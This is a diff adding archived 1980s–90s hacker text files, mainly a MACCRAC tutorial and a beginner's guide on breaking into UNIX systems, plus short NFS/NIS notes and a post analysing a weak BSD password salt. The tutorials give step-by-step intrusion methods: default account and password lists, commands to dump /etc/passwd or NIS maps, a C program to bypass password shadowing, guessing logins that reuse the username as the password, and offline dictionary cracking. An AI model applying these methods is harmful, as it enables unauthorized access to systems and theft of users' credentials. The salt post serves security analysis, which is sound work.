(i.e.: 8d34jSjs73hsb) from an account entry in a UNIX 'passwd' file and
|
||||
holds it to be used as a Reference. From whichever account entry the
|
||||
encrypted equivalent was pulled, is the particular account the 'passwd' file
|
||||
cracker will attempt to crack at that time.
|
||||
|
||||
Next the 'passwd' file cracker goes through a process of "guessing". In this
|
||||
process a single word is pulled from a Dictionary file (more on Dictionaries
|
||||
later), encrypted utilizing the UNIX encryption algorithm (the one all us
|
||||
hackers know about), and compared, checking to see if the derived encrypted
|
||||
word matches the encrypted password equivalent used as a Reference.
|
||||
|
||||
If the encrypted word matches the Reference, the 'passwd' file cracker
|
||||
considers it an accurate guess, it then logs the information, and moves on
|
||||
to the next account. If the two do not match, the 'passwd' file cracker
|
||||
pulls another word from the Dictionary file and goes through the guessing
|
||||
process again. If the 'passwd' file cracker goes through every word in a
|
||||
Dictionary file and never matches the Reference, the entry is skipped, and
|
||||
the cracker moves on to the next account.
|
||||
|
||||
Now, as complicated as this may seem, it is all a relativley easy task for a
|
||||
computer. As such, UNIX 'passwd' files are cracked on a regular basis. As a
|
||||
result of this a number of security and other measures now (potentially)
|
||||
exist to prevent unauthorized persons from accessing a UNIXes'passwd' file.
|
||||
This is the topic of the next section. To this point you should understand
|
||||
why UNIXes are hacked (to get to ROOT) and understand a little about
|
||||
'passwd' files and their role in UNIX hacking. Got it?
|
||||
|
||||
|
||||
GOT IT, NOW WHAT?
|
||||
|
||||
Ok, at this point you should be ready to try and find a UNIX 'passwd' file
|
||||
to crack, right? Wrong. You still have a couple of minor, requisite tasks to
|
||||
perform. First, (obviously) you'll need to find a UNIX to hack. In most
|
||||
cases, you've already got one in mind, but just in case you don't we'll take
|
||||
a look at a few. Also, once you've found a UNIX to hack, you'll need an
|
||||
account on that UNIX. There's no way to steal the 'passwd' file from a UNIX
|
||||
without first having an account on it (not true, you can always get a
|
||||
'passwd' file from someone else, but ignore this because I'm contradicting
|
||||
myself). Once you've accomplished your requisites you can start trying to
|
||||
steal the 'passwd' file.
|
||||
|
||||
|
||||
Step 1. Finding a UNIX to Hack
|
||||
------------------------------
|
||||
Seeing as how you're reading this file you probably already have a UNIX in
|
||||
mind. But, for the sake of clarity, heres what a common UNIX login screen
|
||||
looks like:
|
||||
|
||||
Ultrx v4.3 (rev .44)
|
||||
|
||||
|
||||
login:
|
||||
|
||||
Other UNIX machines are: System V, BSD, Xenix, and AIX. Look for these names
|
||||
to be somewhere in the login screen. Knowing what type of UNIX you're using
|
||||
will aid you in hacking it.
|
||||
|
||||
Step 2. An account to start with
|
||||
--------------------------------
|
||||
If you already have a UNIX account go to Step 3. If you do not already have
|
||||
an account, you need to get one. Either: trade for one, trash for one, get a
|
||||
legitimate one, or hack one out by hand. The first three options are
|
||||
probably the easiest. You can trade for UNIX accounts on IRC channels #hack
|
||||
or #phreak. You can trash for accounts in dumpsters and trashcans at most
|
||||
Colleges or Universities. You can buy legitimate accounts from any one of
|
||||
the rapidly increasing number of Internet Service Providers (they almost all
|
||||
use UNIX). But, of coure, as well know you're a hacker, and the only hing
|
||||
you wanna do is Hack an account. So be it. Here's a list of UNIX defaults.
|
||||
*NOTE* These are NON-PASSWORDED accounts. They are common on System V, BSD,
|
||||
Xenix, and AiX. "These defaults are included in standard setup on various
|
||||
machines so the Sysadmin can log on for the first time." In some instances,
|
||||
negligent Admins will forget to change or delete these accounts. If so,
|
||||
you've got an account to start with. Remember, these are NON-PASSWORDED so
|
||||
if they work you shouldn't be prompted for a password. If a password is
|
||||
prompted for, try using the Account name for the password as well.
|
||||
|
||||
[Stolen from CoTNo #01]
|
||||
|
||||
root bin adm
|
||||
makefsys sysadm sys
|
||||
mountfsys rje sync
|
||||
umountfsys tty nobody
|
||||
checkfsys somebody setup
|
||||
lp powerdown ingres
|
||||
dptp general guest
|
||||
daemon gsa user
|
||||
trouble games help
|
||||
nuucp public unix
|
||||
uucp test admin
|
||||
student standard pub
|
||||
field demo batch
|
||||
visitor listen network
|
||||
uuhelp usenet sysinfo
|
||||
cron console sysbin
|
||||
who root2 startup
|
||||
shutdown ncrm new
|
||||
|
||||
Step 3. Stealing the passwd file
|
||||
--------------------------------
|
||||
Once you've got your UNIX accpunt you can ATTEMPT to steal the 'passwd' file
|
||||
from it. I emphasize ATTEMPT because the 'passwd' file can be protected in a
|
||||
number of ways, or located in a number of different places. We will explore
|
||||
some common methods of exploiting the 'passwd' file.
|
||||
|
||||
-Common UNIX Hack-
|
||||
|
||||
This is probably THE easiest and most common UNIX hack. ogin in to your
|
||||
account and try typing this at the prompt:
|
||||
|
||||
|
||||
prompt concatenate Note on: 'booya>' is the name of the account
|
||||
/ / prompts prompt on the machine I'm using in
|
||||
booya> cat /etc/passwd these examples. The prompt on your
|
||||
/ \ machine will be different. Also
|
||||
directory filename DON'T type 'booya>' with an entry.
|
||||
|
||||
|
||||
'cat' is short for concatenate, a command used for reading and displaying
|
||||
files in standard output. '/etc' is the common directory for the password
|
||||
file on older UNIXes. 'passwd' is the common password filename on UNIXes. If
|
||||
you entered: cat /etc/passwd and got a listing that looks like this
|
||||
(abbreviated):
|
||||
|
||||
kbahadur:IS3fhZdWX3JGU:2162:15:Ken Bahadur:/usr/users/kbahadur:/usr/bin/ksh
|
||||
\
|
||||
password intact
|
||||
|
||||
...then congrats! You've succesfully listed out (stolen) your first 'passwd'
|
||||
file. *Buffer* the entire contents to a text file, save it and jump down to
|
||||
the section: MACCRAC-ING.
|
||||
|
||||
If you got a listing that looks like this:
|
||||
|
||||
password tokenized
|
||||
/
|
||||
intruder:x:263:200:Jack Harmon:/usr/users/intruder:/bin/csh
|
||||
|
||||
or:
|
||||
|
||||
esvogt:PASSWORD HERE:2183:129:Novel,,,:/usr/users/advisor/esvogt:/usr/bin/ksh
|
||||
\
|
||||
password removed
|
||||
|
||||
or you got:
|
||||
|
||||
cat: cannot open /etc/passwd
|
||||
|
||||
Then the UNIX you are on is utilizing some other form of protection or may
|
||||
be using a different 'passwd'-ing process. Keep reading.
|
||||
|
||||
-AIX-
|
||||
|
||||
On AIX systems, an UNIX variation, the 'passwd' file is in a different
|
||||
place. On an AIX type:
|
||||
|
||||
booya> cat /etc/security/passwd
|
||||
|
||||
If this lists out a 'passwd' file with the (encrypted) password intact, then
|
||||
you've succesfully listed out (stolen) your first 'passwd' file. *Buffer*
|
||||
the entire contents to a text file and save it, and jump down to MACCRAC-
|
||||
ING. If not, keep reading.
|
||||
|
||||
-NIS/yp-
|
||||
|
||||
Some UNIXes use a system called Yellow Pages [taken from #hack/alt.2600 FAQ
|
||||
beta .013]:
|
||||
|
||||
"NIS (Network Information System) is the current name for what was once
|
||||
known as yp (Yellow Pages). The purpose for NIS is to allow many
|
||||
machines on a network to share configuration information, including
|
||||
password data. NIS IS NOT DESIGNED TO PROMOTE SYSTEM SECURITY. If
|
||||
your system uses NIS you will have a very short /etc/passwd file that
|
||||
includes a line that looks like this:
|
||||
|
||||
+::0:0:::
|
||||
|
||||
"To view the real password type this command:"
|
||||
|
||||
booya> ypcat passwd
|
||||
|
||||
If 'ypcat' lists a password file with the (encrypted) password still intact,
|
||||
*buffer* the entire contents and go on to MACCRAC-ING, if not, keep reading.
|
||||
|
||||
-Password Shadowing-
|
||||
|
||||
Some systems use what is called password shadowing [again, taken from
|
||||
#hack/alt.2600 FAQ beta .013]:
|
||||
|
||||
"Password shadowing is a security system where the encrypted password
|
||||
field of /etc/passwd is replaced with a special token and the
|
||||
encrypted password is stored in a separate file which is not readable
|
||||
by normal system users.
|
||||
|
||||
"To defeat password shadowing on many (but not all) systems, write a
|
||||
program that uses successive calls to getpwent() to obtain the
|
||||
password file.
|
||||
|
||||
"Example:
|
||||
|
||||
-------------------------------------------------------------CUT HERE
|
||||
#include <pwd.h>
|
||||
main()
|
||||
{
|
||||
struct passwd *p;
|
||||
while(p=getpwent())
|
||||
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
|
||||
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
|
||||
}
|
||||
-------------------------------------------------------------CUT HERE
|
||||
|
||||
Now then, for those you who are unfamiliar with UNIX scripts and/or their
|
||||
implementation, follow these directions:
|
||||
|
||||
First Copy the above script (not including the CUT HEREs) into a Text
|
||||
file and save it as 'getp.c'. Next Login to your UNIX account and create a
|
||||
directory called 'executables'. (At the prompt) Type:
|
||||
|
||||
prompt directory name
|
||||
/ /
|
||||
booya> mkdir executables
|
||||
/
|
||||
make directory
|
||||
|
||||
Now, use Fetch or some other FTP client to FTP into your account and
|
||||
Upload 'getp.c' into the directory 'executables'. Once you've done this,
|
||||
login to your account, and goto the 'executables' directory:
|
||||
|
||||
change directory
|
||||
/
|
||||
booya> cd executables
|
||||
|
||||
Type 'ls' to List the directory to make sure the file is there. If it is
|
||||
you can attempt to compile the 'getp.c' script. Almost all UNIX boxes
|
||||
have Compilers, it's just a matter of whether or not you have acces TO
|
||||
the Compiler. Typically you do. at the UNIX prompt Type:
|
||||
|
||||
prompt compiler executable
|
||||
\ / /
|
||||
booya> cc -o getp.c getfile
|
||||
/ \
|
||||
output filename
|
||||
option
|
||||
|
||||
If you don't get an error you should be left with a file named 'a.out'.
|
||||
Type:
|
||||
|
||||
booya> a.out
|
||||
|
||||
If you get a listing with the (encrypted) password intact, *buffer* the
|
||||
contents to a text file and go on to MACCRAC-ING. if not, keep readin'.
|
||||
|
||||
If you got an error when you tried to compile the 'getp.c' script: 'cc:
|
||||
Command not found' then you either don't have that compiler or you don't
|
||||
have access to it. In either case, try compiling with the GNU C Compiler:
|
||||
|
||||
gnu c compiler
|
||||
/
|
||||
booya> gcc getp.c
|
||||
\
|
||||
filename
|
||||
|
||||
Again, you should be left with a file named 'a.out'. At the UNIX prompt
|
||||
type: a.out. If you get a password file with the (encrypted) password file
|
||||
intact, *buffer* the entire contents and go on to MACCRAC-ING. If not, keep
|
||||
reading.
|
||||
|
||||
-Last Resorts-
|
||||
|
||||
In some cases none of the above listed attacks may work. It might be because
|
||||
you're running a newer version of UNIX like SunOS v5.4. Also it, may just be
|
||||
that you don't have permissions to access the 'passwd' file for whatever
|
||||
reason. In the case of SunOs v5.4, v5.4 doesn't have those helpful v4.1.x
|
||||
bugs so well documented in the CERT Advicories. In this case your best bet
|
||||
may be to go pick up a book on UNIX (so you can know what you're doing), and
|
||||
then goto the Bugtraq Archives:
|
||||
|
||||
http://www.eecs.nwu.edu/~jmyers/bugtraq/search.html
|
||||
|
||||
...and do a search for 'SunOS 5.4'. Any vulnerabilities in 5.4 (or any other
|
||||
system for that matter) may be found there.
|
||||
|
||||
In cases where you just don't have access to the 'passwd' file for whatever
|
||||
reason, you might try the 'Dumb User' Hack: Login to a UNIX using whatever
|
||||
account you have. Once you're logged in, at the prompt type:
|
||||
|
||||
change directory up 1
|
||||
/
|
||||
booya> cd ..
|
||||
^
|
||||
Note space ' ' between 'cd' and '..'
|
||||
|
||||
booya> ls
|
||||
\
|
||||
lists contents of directory accounts
|
||||
/ \
|
||||
1031exch dianafcr jetski91 \ mikesotto sanders
|
||||
aa7bq diane jgroff \ milton saucy
|
||||
aacker digna jhill \ mjwright sawgal
|
||||
aardvark dillon jillk mkansgen sbarnes
|
||||
acarr / ditomaso jimfinly mmadison sbray
|
||||
\ /
|
||||
accounts [ALL of these are accounts]
|
||||
|
||||
[etc...]
|
||||
|
||||
What this process does is give you the names of all the common accounts on
|
||||
the UNIX you're on. Buffer this list and print it out. Exit the UNIX (type:
|
||||
exit) and try to Hack back using these accounts with the Account name as the
|
||||
password. i.e.:
|
||||
|
||||
UNIX(r) System V Release 4.0 (arthur)
|
||||
|
||||
login: jetski91
|
||||
Password: jetski91 -- would not be shown
|
||||
Login incorrect /
|
||||
login: mkansgen /
|
||||
Password: mkansgen
|
||||
Last login: Sat Jan 27 12:34:31 from slip212m.vinue.net
|
||||
Sun Microsystems Inc. SunOS 5.4 Generic July 1994
|
||||
You have new mail.
|
||||
Sat Jan 27 12:41:04 MST 1996
|
||||
/usr/users/mkansgen
|
||||
arthur{mkansgen}/usr/users/mkansgen%
|
||||
|
||||
This is the 'Dumb User' Hack. Because a user was 'dumb' enough use his
|
||||
account name for his password, it was easily hacked, and now that dummy's
|
||||
account is your's. If the Dumb User's account has more privileges than
|
||||
yours (i.e. Permission to read the 'passwd' file), go back through the
|
||||
previously described methods and attempt to get the 'passwd' file. If the
|
||||
account has no greater privileges, keep the account for later trading on
|
||||
#hack and try and hack another account with more privileges.
|
||||
|
||||
If you've tried everything and you still haven't succeed in stealing a
|
||||
'passwd' file, goto bed and thank God you don't have more troubles in life.
|
||||
|
||||
|
||||
MACCRAC-ING
|
||||
|
||||
At this point you should have a processable 'passwd' file. This file should
|
||||
contain account entries with the encrypted password intact, and it should be
|
||||
saved as a plain text file. If these are completed you can proceed with
|
||||
using MACCRAC.
|
||||
|
||||
Now to use MACCRAC there a couple of operating mechanics to go over.
|
||||
Remember MACCRAC is a ported version of an IBM program, and since this is a
|
||||
BETA, its still a little buggy, and frills free. Basically, there are four
|
||||
main components of MACCRAC:
|
||||
|
||||
MacCrac.FAT--This is the main MacCrac application which processes
|
||||
and crack's UNIX 'passwd' files.
|
||||
|
||||
MacCrac.Log--This is the file where all information generated during the
|
||||
process off cracking a UNIX 'passwd' file is stored.
|
||||
|
||||
DICTIONARY--This is a dictionary file containing words MACCRAC will use
|
||||
to try and crack a 'passwd' file.
|
||||
|
||||
passwd--This the file that contains the UNIX account information.
|
||||
|
||||
|
||||
Important notes on the above:
|
||||
|
||||
MacCrac.FAT
|
||||
-----------
|
||||
MACCRAC REQUIRES that ALL FILENAMES MUST BE AS THEY ARE LISTED ABOVE! There
|
||||
will be no dialogs to ask you which DICTIONARY or 'passwd' file you wish to
|
||||
use. MACCRAC Will look ONLY for a Dictionary file called DICTIONARY and a
|
||||
UNIX 'passwd' called passwd, AND it will only look for them in the immediate
|
||||
folder it is in, so make sure these files are in the same folder with
|
||||
MACCRAC.
|
||||
|
||||
Dictionary
|
||||
----------
|
||||
The DICTIONARY is a standard Word Processing Dictionary as used by say,
|
||||
Microsoft Word. MACCRAC's Dictionary is somewhat larger than most Word
|
||||
Processoing Dictionaries with a size 2,431k. But other than it's size, it's
|
||||
no different. Dictionary files consist of alphabetized words with one word
|
||||
per line (carriage return) and no spaces. Heres a short sample of a
|
||||
DICTIONARY file:
|
||||
|
||||
A
|
||||
a
|
||||
aa
|
||||
aal
|
||||
aalii
|
||||
aam
|
||||
Aani
|
||||
aardvark
|
||||
aardwolf
|
||||
|
||||
Now, at 2,413k, MACCRAC's Dictionary is fairly large...although certainly
|
||||
not the largest. I personally have seen Dictionary files as large as 4
|
||||
gigabytes! But normally you won't need a Dictionary that big. In fact the
|
||||
DICTIONARY file that comes with MACCRAC should be more than adequate. But if
|
||||
you would like to use a larger Dictionary or would like to use a Dictionary
|
||||
of say, Foreign Words, or Star Trek Terms, or Dog Names, then you can either
|
||||
make them or, find them on the internet.
|
||||
|
||||
In using these Dictionary files, it's important to remember that what ever
|
||||
name they're called when you find them, they MUST be RENAMED to DICTIONARY,
|
||||
and placed in the same Folder as MACCRAC in order to be used. If the
|
||||
Dictionary file is not called DICTIONARY, or is not in the same Folder as
|
||||
MACCRAC, it will not/cannot be used.
|
||||
|
||||
As a final note on Dictionaries, there is a program called 'Word List
|
||||
Maker'. This is a Drag&Drop program which allows you to Drag two or more
|
||||
Dictionary files on to it, and it will combine them into a single Dictionary
|
||||
AND delete all duplicate entries. This is great for making custom, or more
|
||||
extensive DICTIONARY files for MACCRAC to use. Keep in mind though, that the
|
||||
larger the Dictionary, the slower the process.
|
||||
|
||||
passwd
|
||||
------
|
||||
Well the 'passwd' file is what we spent the majority of this Tutorial
|
||||
discussing, so I shouldn't need to go into it much here. The most important
|
||||
thing to say about the 'passwd' file at THIS point is that included with
|
||||
MACCRAC is a file called 'passwd'; DELETE IT! This is just a sample file
|
||||
included with MACCRAC probably for Development or Testing purposes. It will
|
||||
do you no good. Replace it with your newly acquired 'passwd' file, and make
|
||||
sure this newly acquired file is called: passwd. Also make sure it's in the
|
||||
same Folder with MACCRAC
|
||||
|
||||
|
||||
LET'S DO IT
|
||||
|
||||
Well, f you have your 'passwd' file, and you have whatever Dictionay file
|
||||
you're going to use, and all of the files are correctly named and placed in
|
||||
the same Folder with MACCRAC, then I guess you're ready, so lets do it!
|
||||
|
||||
For the sake of speed, and because you won't be able to use your computer
|
||||
anyway, I suggest Restarting your Mac with Exensions Off (even if you have
|
||||
RamCharger or RamDoubler). Once you've restarted, Double click on the
|
||||
MACCRAC icon. If this is your first time running MACCRAC, just go up to
|
||||
'Crack' in the menubar and select: Start Cracking!. The first thing you'll
|
||||
probably notice is that once you've started a Cracking Session you can't do
|
||||
anything else. Thats because MACCRAC hogs the processor. I would suggest
|
||||
starting a session around 11:00 pm and letting it run all night. By morning,
|
||||
it should have cracked at least 40-50 accounts.
|
||||
|
||||
If for some reason you want or need to stop a session before an entire
|
||||
'passwd' file is cracked, the only way to do it is with COMMAND-OPTION-ESC.
|
||||
Don't worry, any cracks MACCRAC has cracked to that point will be saved.
|
||||
|
||||
If you've already started Cracking a 'passwd' file but had to quit, you can
|
||||
pickup where you left off by going up to the 'CRACK' menubar and dragging
|
||||
down to Settings. Once in Settings select 'Recover session from "Point
|
||||
File"'. Now you can 'Start Cracking!' where ever you let off.
|
||||
|
||||
|
||||
OUTRO
|
||||
|
||||
If you've let it run long enough, you should have passwords. At this point
|
||||
you're on your way to geting to "ROOT". The topic of Hacking "root" on UNIX
|
||||
has been addressed by any of a number of well written, informative and
|
||||
readily available T-Philes on UNIX Hacking. At this point I suggest you
|
||||
pursue them as this file will not address that topic (remember, this is a
|
||||
Tutorial on MACCRAC)
|
||||
|
||||
I'd like to thank Disorder, Voyager and the rest of TNo Crew for their
|
||||
incite and assistance. That's it for this one. Look for more oleBuzzard's T-
|
||||
Philes on the World's Greatest Underground Mac Board...
|
||||
|
||||
oleBuzzard's 7 Macintosh/PC Underground
|
||||
/<n0wledge phreak 1 PowerPC 9500-604
|
||||
### ######### 9 5500+ Philez/1.2 Gigz
|
||||
### ### ## ###_{_}## ###### 5 Hack/Phreak/Phraud/Anarchy
|
||||
###### ## / ###\_/ ## ### ### 7 UnionNET/IIRG-Net
|
||||
##### ##,(___### ## ### ### 8 Home of the UNDERGROUNDMAC
|
||||
###### ## o \ \## ## ### ### 8 SCAM! Magazine Distro Site
|
||||
### ### ######### ###### 2 Runnin Hermes v3.4
|
||||
/ ### 8 2400-28.800 kbaud
|
||||
'No Bullshit!' 8 Only like US$20/month
|
163
textfiles.com/hacking/UNIX/metaunix.hac
Normal file
163
textfiles.com/hacking/UNIX/metaunix.hac
Normal file
@@ -0,0 +1,163 @@
|
||||
|
||||
|
||||
From: _ _ _______
|
||||
| \/ | / _____/
|
||||
|_||_|etal/ /hop
|
||||
_________/ /
|
||||
/__________/
|
||||
(314)432-0756
|
||||
24 hours a day, 300 baud, Elite BBS
|
||||
|
||||
**************************************
|
||||
* A beginners guide to: *
|
||||
* H A C K I N G *
|
||||
* *
|
||||
* U N I X *
|
||||
* *
|
||||
* By Jester Sluggo *
|
||||
* Written 10/08/85 *
|
||||
**************************************
|
||||
|
||||
In the following file, all references made to the name Unix, may also be
|
||||
substituted to the Xenix operating system.
|
||||
|
||||
Brief history: Back in the early sixties, during the development of third
|
||||
generation computers at MIT, a group of programmers studying the potential of
|
||||
computers, discovered their ability of performing two or more tasks
|
||||
simultaneously. Bell Labs, taking notice of this discovery, provided funds for
|
||||
their developmental scientists to investigate into this new frontier. After
|
||||
about 2 years of developmental research, they produced an operating system they
|
||||
called "Unix".
|
||||
|
||||
Sixties to Current: During this time Bell Systems installed the Unix system
|
||||
to provide their computer operators with the ability to multitask so that they
|
||||
could become more productive, and efficient. One of the systems they put on theUnix system was called "Elmos". Through Elmos many tasks (i.e. billing,and
|
||||
installation records) could be done by many people using the same mainframe.
|
||||
|
||||
Note: Cosmos is accessed through the Elmos system.
|
||||
|
||||
Current: Today, with the development of micro computers, such multitasking
|
||||
can be achieved by a scaled down version of Unix (but just as powerful).
|
||||
Microsoft,seeing this development, opted to develop their own Unix like system
|
||||
for the IBM line of PC/XT's. Their result they called Xenix (pronounced
|
||||
zee-nicks). Both Unix and Xenix can be easily installed on IBM PC's and offer
|
||||
the same functions (just 2 different vendors).
|
||||
|
||||
Note: Due to the many different versions of Unix (Berkley Unix, Bell System
|
||||
III, and System V the most popular) many commands following may/may not work. Ihave written them in System V routines. Unix/Xenix operating systems will be
|
||||
considered identical systems below.
|
||||
|
||||
How to tell if/if not you are on a Unix system: Unix systems are quite commonsystems across the country. Their security appears as such:
|
||||
|
||||
Login; (or login;)
|
||||
password:
|
||||
|
||||
When hacking on a Unix system it is best to use lowercase because the Unix
|
||||
system commands are all done in lower- case.
|
||||
|
||||
Login; is a 1-8 character field. It is usually the name (i.e. joe or fred)
|
||||
of the user, or initials (i.e. j.jones or f.wilson). Hints for login names canbe found trashing the location of the dial-up (use your CN/A to find where the
|
||||
computer is).
|
||||
|
||||
Password: is a 1-8 character password assigned by the sysop or chosen by the
|
||||
user.
|
||||
|
||||
Common default logins
|
||||
--------------------------
|
||||
|
||||
login; Password:
|
||||
|
||||
root root,system,etc..
|
||||
sys sys,system
|
||||
daemon daemon
|
||||
uucp uucp
|
||||
tty tty
|
||||
test test
|
||||
unix unix
|
||||
bin bin
|
||||
adm adm
|
||||
who who
|
||||
learn learn
|
||||
uuhost uuhost
|
||||
nuucp nuucp
|
||||
|
||||
If you guess a login name and you are not asked for a password, and have
|
||||
accessed to the system, then you have what is known as a non-gifted account. Ifyou guess a correct login and pass- word, then you have a user account. And,
|
||||
if you guess the root password, then you have a "super-user" account. All Unix
|
||||
systems have the following installed to their system: root, sys, bin, daemon,
|
||||
uucp, adm
|
||||
|
||||
Once you are in the system, you will get a prompt. Common prompts are:
|
||||
|
||||
|
||||
$
|
||||
|
||||
%
|
||||
|
||||
#
|
||||
|
||||
|
||||
But can be just about anything the sysop or user wants it to be.
|
||||
|
||||
Things to do when you are in: Some of the commands that you may want to try
|
||||
follow below:
|
||||
|
||||
who is on (shows who is currently logged on the system.)
|
||||
write name (name is the person you wish to chat with)
|
||||
To exit chat mode try ctrl-D.
|
||||
EOT=End of Transfer.
|
||||
ls -a (list all files in current directory.)
|
||||
du -a (checks amount of memory your files use;disk usage)
|
||||
cd\name (name is the name of the sub-directory you choose)
|
||||
cd\ (brings your home directory to current use)
|
||||
cat name (name is a filename either a program or documentation your username
|
||||
has written)
|
||||
|
||||
Most Unix programs are written in the C language or Pascal since Unix is a
|
||||
programmers' environment.
|
||||
|
||||
One of the first things done on the system is print up or capture (in a
|
||||
buffer) the file containing all user names and accounts. This can be done by
|
||||
doing the following command:
|
||||
|
||||
|
||||
|
||||
cat /etc/passwd
|
||||
|
||||
|
||||
|
||||
If you are successful you will a list of all accounts on the system. It
|
||||
should look like this:
|
||||
|
||||
root:hvnsdcf:0:0:root dir:/:
|
||||
joe:majdnfd:1:1:Joe Cool:/bin:/bin/joe
|
||||
hal::1:2:Hal Smith:/bin:/bin/hal
|
||||
|
||||
The "root" line tells the following info :
|
||||
|
||||
login name=root
|
||||
hvnsdcf = encrypted password
|
||||
0 = user group number
|
||||
0 = user number
|
||||
root dir = name of user
|
||||
/ = root directory
|
||||
|
||||
In the Joe login, the last part "/bin/joe " tells us which directory is his
|
||||
home directory (joe) is.
|
||||
|
||||
In the "hal" example the login name is followed by 2 colons, that means that
|
||||
there is no password needed to get in using his name.
|
||||
|
||||
Conclusion: I hope that this file will help other novice Unix hackers obtain
|
||||
access to the Unix/Xenix systems that they may find. There is still wide growthin the future of Unix, so I hope users will not abuse any systems (Unix or any
|
||||
others) that they may happen across on their journey across the electronic
|
||||
highways of America. There is much more to be learned about the Unix system
|
||||
that I have not covered. They may be found by buying a book on the Unix System
|
||||
(how I learned) or in the future I may write a part II to this........
|
||||
|
||||
/
|
||||
\
|
||||
/ luggo !!
|
||||
"Only the Fool fears none."
|
||||
|
||||
Hack Philez]
|
BIN
textfiles.com/hacking/UNIX/muh.hac
Normal file
BIN
textfiles.com/hacking/UNIX/muh.hac
Normal file
Binary file not shown.
21
textfiles.com/hacking/UNIX/nfstricks.txt
Normal file
21
textfiles.com/hacking/UNIX/nfstricks.txt
Normal file
@@ -0,0 +1,21 @@
|
||||
NFS TRICKS
|
||||
|
||||
Although NFS was originally was wretten for UNIX systems, rating from Macs, PC's, and IBM main frames. These versions allow for flexible file-sharing. It's when the files with the text and graphicseside on a UNIX system. Then the screen shots are saved by way of NFS, in files back on the UNIX host.
|
||||
|
||||
If you use a bunch of different computers, NFS is often used to hook them all up together becaues it runs a much wider viriety of computers then does any other file-sharing system.
|
||||
|
||||
NFS is based on a pair of standard inernet communication protocols called UDP/IP. If your machine uses NFS, therefore, you can use NFS files that are easily found on the inernet.
|
||||
|
||||
If your computer and the one that the files live are connected by fast enough network, you can use files many miles away just as if they were local. Remote network links are considerably slower than local networks are, (most of the time 100 times slower) which means that you can get the impresion of a very slow disk.
|
||||
|
||||
For use as a regular file storage, slow remote NFS is worthless to browse and retrieve files from an archive, however NFS can be okay. Systems which have large file archives allow anyone to access their disks by way of NFS. Because public archive systems can have hundreds of directories and thousands of files, mounting a remote systems disk by way of NFS lets you use familiar directory and file commands to look at them.
|
||||
|
||||
It will take a while to list directories, read files and so on, but it would take a lot less time then if you used FTP (the standard remote-file program) if you find a file or group of files copy them to a disk if you plan on using them much.
|
||||
|
||||
Some UNIX systems, if it's configured correctly, mount remote NFS systems automatically, however, many do not.
|
||||
|
||||
|
||||
Created by a member of Twisted Altar Lord Pyro
|
||||
|
||||
|
||||
|
8
textfiles.com/hacking/UNIX/nis.txt
Normal file
8
textfiles.com/hacking/UNIX/nis.txt
Normal file
@@ -0,0 +1,8 @@
|
||||
NIS Explained
|
||||
by Virtual Circuit and Psychotic
|
||||
|
||||
NIS or Network Information Systems is a concept of unix that users need to learn. NIS used to be called the "Yellow Pages" until somebody pointed out that it was the trademark of the phone company.
|
||||
|
||||
When a company has to many workstations the best way to set them up is to have them connect and share files by means of NFS. Then you should give access to the machines to your users so that they will have one large system. Keeping all the workstations' administrative information organized is a small problem. A password file was given to each individual system in order to list the users and a set of mount points or directories. In 50 workstations, when the system added a new users those user had to be added to 50 seperate password files, etc. The only way to ease this problem was to use NIS. It puts nearly all of the administrative information in one place that is roganized by NIS. It makes all the availlable workstation accessable by each of the new users. This works out very well. After the administrator updates the master files the database can get clumsy and out of sync. This is usually caused by the admin regenerating the NIS database and accidently making a mistake.The design of NIS makes it possible to create security holes. The computers are accesible to only a small group of users but it makes it easy for one of the million internet hackers to break in.
|
||||
|
||||
You work from here. I'll update this text later with more info on this system setup.
|
817
textfiles.com/hacking/UNIX/p500unix.txt
Normal file
817
textfiles.com/hacking/UNIX/p500unix.txt
Normal file
@@ -0,0 +1,817 @@
|
||||
Parent-Message-Id: <12229084762.30.AWALKER@RED.RUTGERS.EDU>
|
||||
|
||||
|
||||
There is a flaw in the Berkeley 4.3 Unix passwd program that makes a
|
||||
tape attack on a password feasible. (We haven't looked at any other
|
||||
versions of Unix.) From passwd.c:
|
||||
|
||||
time(&salt);
|
||||
salt = 9 * getpid();
|
||||
saltc[0] = salt & 077;
|
||||
saltc[1] = (salt>>6) & 077;
|
||||
for (i = 0; i < 2; i++) {
|
||||
c = saltc[i] + '.';
|
||||
if (c > '9')
|
||||
c += 7;
|
||||
if (c > 'Z')
|
||||
c += 6;
|
||||
saltc[i] = c;
|
||||
}
|
||||
pw = crypt(pwbuf, saltc);
|
||||
|
||||
What does the salt depend on? Well, the paper on unix password
|
||||
security by Morris and Thompson states that the choice of seed is based
|
||||
upon the time of day clock and that there are 4096 different possible
|
||||
seeds. (See "Password Security: A Case History" CACM, v 22, n 11,
|
||||
November 1979, p. 594. That paper is often distributed with Unix
|
||||
manuals.) On first glance at the above code, we were surprised to
|
||||
find a call to getpid() in addition to the expected call to time(). A
|
||||
close inspection of the first two lines of the above code reveals that
|
||||
result of the call to time() is completely thrown out in the next line
|
||||
of code. The salt depends only on the process ID number of the passwd
|
||||
program!
|
||||
|
||||
But, lets go ahead and assume that a call to getpid() produces a
|
||||
sufficiently random 16 bit number. What's the effect of multiplying
|
||||
by 9? Well, since on the next two lines, only the low 12 bits of the
|
||||
variable "seed" are used, the multiplying by 9 reduces the number of
|
||||
possible seeds by a factor of nine. For example, after the second
|
||||
line of code above, the variable "seed" could be 0, 9, 18, 27, etc,
|
||||
but it could never be any value that is not a multiple of 9. Thus the
|
||||
passwd program can only produce 4096/9 (= 456) of the 4096 possible
|
||||
salt values. (It's amusing to note that without the second line, or
|
||||
if the operator was "+=" instead of just "=" in the second line, the
|
||||
code would generate all 4096 different seeds with about evenly
|
||||
distributed probabilities.)
|
||||
|
||||
So what? Well, imagine taking a dictionary of 30,000 likely passwords
|
||||
and producing 456 different files, one for each different salt, and
|
||||
each containing 30,000 hashed passwords, each on a separate line, and
|
||||
in the same order as the words in your dictionary. Each file would be
|
||||
about 270 thousand bytes long (including line-feeds) and all the files
|
||||
together could be kept on two 6250bpi tapes (which hold about 100
|
||||
megabytes each). Now, to determine somebody's password from their
|
||||
entry in the password file (assuming that their password is in your
|
||||
original dictionary), position the appropriate tape at the start of
|
||||
the file corresponding to the that user's salt and grep -n the tape
|
||||
for the hashed password. (This will be vastly faster than 30,000
|
||||
calls to crypt(), even the faster versions described in an earlier
|
||||
message.)
|
||||
|
||||
If the salt could take on all 4096 possible values, you would need
|
||||
instead need around 15 tapes to hold all the files.
|
||||
|
||||
All this underlies the importance of choosing a password which is not
|
||||
in any dictionary and which is long enough.
|
||||
|
